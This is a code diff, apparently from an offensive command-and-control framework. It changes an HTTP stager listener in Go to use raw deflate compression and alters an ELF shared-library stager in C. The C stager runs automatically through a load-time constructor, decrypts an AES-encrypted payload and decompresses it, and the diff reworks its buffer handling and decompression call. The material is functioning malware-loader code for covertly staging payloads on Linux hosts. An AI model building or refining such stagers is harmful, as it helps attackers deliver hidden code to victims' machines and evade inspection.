diff --git a/core/cmd/listener/http_stager.go b/core/cmd/listener/http_stager.go index 8c2798fad..07521f6d8 100644 --- a/core/cmd/listener/http_stager.go +++ b/core/cmd/listener/http_stager.go @@ -2,7 +2,7 @@ package main import ( "bytes" - "compress/zlib" + "compress/flate" "crypto/aes" "crypto/cipher" "crypto/rand" @@ -43,11 +43,14 @@ func encryptData(data []byte, key []byte) []byte { return append(iv, encrypted...) } -// compressData compresses the given data using zlib. +// compressData compresses the given data using raw deflate. func compressData(data []byte) []byte { var b bytes.Buffer - w := zlib.NewWriter(&b) - _, err := w.Write(data) + w, err := flate.NewWriter(&b, flate.BestCompression) + if err != nil { + log.Fatalf("Failed to create deflate writer: %v", err) + } + _, err = w.Write(data) if err != nil { log.Fatalf("Failed to compress data: %v", err) } diff --git a/loader/elf/stager.c b/loader/elf/stager.c index 3247f3d5e..8b9937fb0 100644 --- a/loader/elf/stager.c +++ b/loader/elf/stager.c @@ -241,6 +241,15 @@ void __attribute__((constructor)) initLibrary(void) { DEBUG_PRINT("Encrypted data size: %zu\n", data_size - 16); size_t decrypted_size = decrypt_data(buf + 16, data_size - 16, key, iv); + // copy the decrypted data to a new buffer + char *decrypted_data = calloc(decrypted_size, sizeof(char)); + if (!decrypted_data) { + perror("malloc"); + free(buf); + return; + } + memcpy(decrypted_data, buf + 16, decrypted_size); + #ifdef DEBUG // Save the decrypted data to disk FILE *file = fopen("/tmp/decrypted_data", "wb"); @@ -254,16 +263,17 @@ void __attribute__((constructor)) initLibrary(void) { #endif // Decompress the decrypted data - unsigned int decompressed_size = BUFFER_SIZE * 10; // Adjust as needed - char *decompressed_buffer = malloc(decompressed_size); + unsigned int decompressed_size = decrypted_size * 10; // Adjust as needed + char *decompressed_buffer = calloc(decompressed_size, sizeof(char)); if (!decompressed_buffer) { perror("malloc"); free(buf); return; } + DEBUG_PRINT("Allocated decompressed buffer of size: %u\n", decompressed_size); - int res = tinf_zlib_uncompress(decompressed_buffer, &decompressed_size, - buf + 16, decrypted_size); + int res = tinf_uncompress(decompressed_buffer, &decompressed_size, + decrypted_data, decrypted_size); free(buf); if (res != TINF_OK) { fprintf(stderr, "Decompression failed: %d\n", res);